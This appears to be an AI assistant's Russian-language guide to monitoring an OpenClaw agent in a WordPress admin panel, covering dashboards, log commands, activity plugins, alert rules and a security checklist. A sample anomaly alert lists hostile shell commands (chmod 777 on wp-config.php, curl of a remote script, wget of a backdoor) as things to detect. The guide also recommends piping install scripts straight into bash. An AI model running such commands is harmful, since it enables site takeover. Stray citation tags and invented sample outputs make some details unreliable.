Вот полное руководство по мониторингу действий ИИ-агента в админке сайта, включая инструменты, настройки и лучшие практики:
🛠️ Инструменты мониторинга OpenClaw
1. Clawmetry — панель управления в реальном времени (рекомендуется)
Clawmetry — бесплатный инструмент с открытым исходным кодом для мониторинга агентов OpenClaw.aitoolly+1
| Что показывает | Описание |
|---|---|
| Работа субагентов | Какие файлы читает, какие команды выполняет, какие инструменты вызывает aitoolly |
| Логика агента | «Размышления» агента (narrative), полная история действий aitoolly |
| Использование токенов | Входящие/исходящие токены, cache hits, время ответа aitoolly |
| Затраты | Стоимость каждого вызова, общие затраты на сессию aitoolly |
| Системное здоровье | Cron-задания, аптайм, дисковое пространство, активные субагенты aitoolly |
| Live Flow Graph | Визуализация архитектуры: активные каналы, шлюзы, узлы системы aitoolly |
Установка Clawmetry
bash# Установка занимает 30 секунд
curl -fsSL https://clawmetry.com/install.sh | bash
Что видно в дашборде
text┌─────────────────────────────────────────────────┐
│ Clawmetry Dashboard │
├─────────────────────────────────────────────────┤
│ Active Agents: 3 │
│ Subagents: 5 running │
│ Tokens used: 12,450 (↗ 3.2%) │
│ Cost today: $0.47 │
│ │
│ ┌─ Live Flow Graph ─────────────────────────┐ │
│ │ Gateway → Agent → Subagent (WordPress) │ │
│ │ ↓ │ │
│ │ Tool: browser_login │ │
│ │ Tool: wp_create_post │ │
│ └───────────────────────────────────────────┘ │
│ │
│ Session Logs: │
│ [14:23] Reading file: wp-content/config.php │
│ [14:24] Command: wp post create ... │
│ [14:25] Tool: browser_snapshot (id: 567) │
└─────────────────────────────────────────────────┘
2. Стандартные команды логирования OpenClaw
bash# Просмотр статуса песочницы
openclaw nemoclaw status
# JSON-вывод для машинной обработки
openclaw nemoclaw status --json
# Потоковый вывод последних логов
openclaw nemoclaw logs
# Отслеживание логов в реальном времени
openclaw nemoclaw logs -f
# Просмотр 100 строк логов
openclaw nemoclaw logs -n 100
# Логи конкретного запуска blueprint
openclaw nemoclaw logs --run-id
# Терминальный интерфейс для сетевой активности
openshell term
📋 Шаг 5: мониторинг и логирование (чеклист безопасности)
Что обязательно включить:providers
| Настройка | Команда/Файл | Описание |
|---|---|---|
| Логирование сессий | openclaw config set logging.enabled true | Записывает все действия агента providers |
| Алерты на аномалии | Настроить в Clawmetry или SIEM | Необычно длинные цепочки, запросы к новым ресурсам, ошибки аутентификации providers |
| Session Logs skill | openclaw install session-logs | В любой момент запросить историю действий providers |
| Аудит вызовов инструментов | Уровень 3 — аудит и алерты | Кто вызвал, с какими аргументами, результат truetech |
🔍 Что именно мониторить в админке сайта
1. Логирование действий в WordPress
| Что отслеживать | Как настроить |
|---|---|
| Вход в админку | Плагин WP Activity Log или Simple History wpcraft |
| Изменение контента | Плагин записывает все изменения постов, страниц, меню wpcraft |
| Обновление плагинов | Логи в WP Activity Log → Plugin updates wpcraft |
| Изменение настроек | Настройки → Все изменения записываются wpcraft |
| Загрузка файлов | Uploads → Кто и когда загрузил файлы wpcraft |
Установка плагина WP Activity Log
bash# Через WP-CLI
wp plugin install wp-activity-log --activate
# Или через админку WordPress
# Плагины → Добавить новый → WP Activity Log
Что показывает плагин:
text┌─────────────────────────────────────────────────────────┐
│ WP Activity Log │
├─────────────────────────────────────────────────────────┤
│ Time User Action │
├─────────────────────────────────────────────────────────┤
│ 2026-05-29 01:45 OpenClaw Created post "Туры в ТД" │
│ 2026-05-29 01:44 OpenClaw Updated post #123 │
│ 2026-05-29 01:43 OpenClaw Logged in to admin │
│ 2026-05-29 01:42 OpenClaw Updated plugin Elementor │
│ 2026-05-29 01:40 OpenClaw Uploaded image tour.jpg │
└─────────────────────────────────────────────────────────┘
2. Алерты на подозрительные действия
| Критерий | Пример | Действие |
|---|---|---|
| Необычно много действий | 50+ изменений за 1 минуту | Алерт в Slack/Telegram providers |
| Обращение к новым ресурсам | Агент впервые вызывает execute_shell | Алерт в SIEM truetech |
| Ошибки аутентификации | 3+ неудачных входа подряд | Блокировка IP providers |
| Изменение critical-файлов | wp-config.php, .htaccess | Немедленное уведомление truetech |
| Публикация без проверки | Post published без human-in-the-loop | Остановить pipeline sostav |
🔐 Настройка безопасности перед запуском в продакшн
Чеклист из 7 пунктов:providers
| № | Пункт | Команда/Настройка |
|---|---|---|
| 1 | Агент запущен от непривилегированного пользователя | useradd openclaw → su openclaw |
| 2 | Доступ к мессенджерам ограничен | dmPolicy.allowFrom: ["your_telegram_id"] providers |
| 3 | API-ключи через SecretRef | ANTHROPIC_API_KEY: ${SecretRef.anthropic_key} providers |
| 4 | Подключены только нужные навыки | openclaw skill list → отключить лишние providers |
| 5 | Логирование включено, алерты настроены | logging.enabled: true + Slack алерты providers |
| 6 | WebSocket origin validation ограничен | websocket.allowedOrigins: ["https://dashboard.yoursite.com"] providers |
| 7 | Бэкапы конфигурации настроены | cron: "0 3 * * *" → tar -czf backup.tar.gz ~/.openclaw/ providers |
📊 Практические примеры мониторинга
Пример 1: Отслеживание действий агента в реальном времени
bash# Запуск мониторинга в одном терминале
openclaw nemoclaw logs -f
# В другом терминале — запрос агенту
openclaw "Проанализируй сайт domtj.ru и создай SEO-отчёт"
# В логах увидишь:
[14:23:45] Agent: Starting analysis of https://domtj.ru
[14:23:46] Browser: Navigation to https://domtj.ru
[14:23:47] Browser: Snapshot captured (elements: 156)
[14:23:48] Tool: web_scraper (url: https://domtj.ru)
[14:23:50] Tool: seo_analyzer (pages: 12)
[14:23:55] Agent: Analysis complete. Found 23 SEO issues
Пример 2: Проверка истории действий за период
bash# Запросить историю за последний час
openclaw session logs --from "2026-05-29T00:00:00" --to "2026-05-29T01:00:00"
# Вывод:
Session ID: abc123
────────────────────────────────
[00:15] Logged in to WordPress admin
[00:16] Snapshot: wp-admin/post.php
[00:17] Tool: wp_create_post (title: "Новый тур")
[00:18] Tool: browser_upload (file: tour.jpg)
[00:19] Tool: wp_publish_post (id: 456)
────────────────────────────────
Total actions: 12
Tokens used: 3,450
Cost: $0.04
Пример 3: Алерт на аномальное поведение
bash# В Clawmetry Dashboard увидишь:
⚠️ ALERT: Unusual activity detected
Agent: openclaw-main
────────────────────────────────
Anomaly: execute_shell called 15x in 2 minutes
Normal pattern: 0-2x per hour
Last calls:
- chmod 777 wp-config.php
- curl https://malicious.site/script.sh
- wget http://suspicious.domain/backdoor.php
Action taken: Agent paused
Notification sent: Slack #security-alerts
🎯 Интеграция с внешними системами мониторинга
1. Slack-алерты
json// openclaw.json
{
"alerts": {
"slack": {
"webhook": "https://hooks.slack.com/services/XXX/YYY/ZZZ",
"channels": {
"security": "#security-alerts",
"performance": "#agent-performance"
},
"triggers": [
"anomaly_detected",
"high_cost_threshold",
"auth_failure"
]
}
}
}
2. SIEM-интеграция
bash# Отправка логов в SIEM (например, ELK Stack)
openclaw config set logging.syslog.enabled true
openclaw config set logging.syslog.server "https://siem.yoursite.com:5514"
3. Grafana + Prometheus
text# prometheus.yml
scrape_configs:
- job_name: 'openclaw'
static_configs:
- targets: ['localhost:9090']
metrics_path: '/metrics'
Дашборд Grafana показывает:
- Токенов в минуту
- Стоимость вreal-time
- Количество субагентов
- Время ответа модели
- Ошибки и Peytonaitoolly
📝 Резюме: полный стек мониторинга
| Уровень | Инструмент | Что показывает |
|---|---|---|
| 1. Real-time | Clawmetry Dashboard | Субагенты, токены, затраты, live flow graph aitoolly |
| 2. Логи | openclaw logs -f | Полная история действий агента nemoclawai |
| 3. WordPress | WP Activity Log | Все изменения в админке WordPress wpcraft |
| 4. Алерты | Slack/SIEM | Аномалии, ошибки, подозрительные действия truetech |
| 5. Сетевой | openshell term | Исходящий трафик, сетевые запросы nemoclawai |
| 6. Стандарты | 7-пунктовый чеклист | Безопасность перед продакшном providers |
⚡ Быстрый старт мониторинга (30 секунд)
bash# Шаг 1: Установить Clawmetry
curl -fsSL https://clawmetry.com/install.sh | bash
# Шаг 2: Включить логирование
openclaw config set logging.enabled true
# Шаг 3: Установить плагин WordPress (если WordPress)
wp plugin install wp-activity-log --activate
# Шаг 4: Настроить алерты в Clawmetry
# Откройте http://localhost:3000 → Settings → Alerts → Slack webhook
# Всё! Мониторинг работает [web:90]
Нужны детали по настройке конкретного инструмента (Clawmetry, WP Activity Log, SIEM)?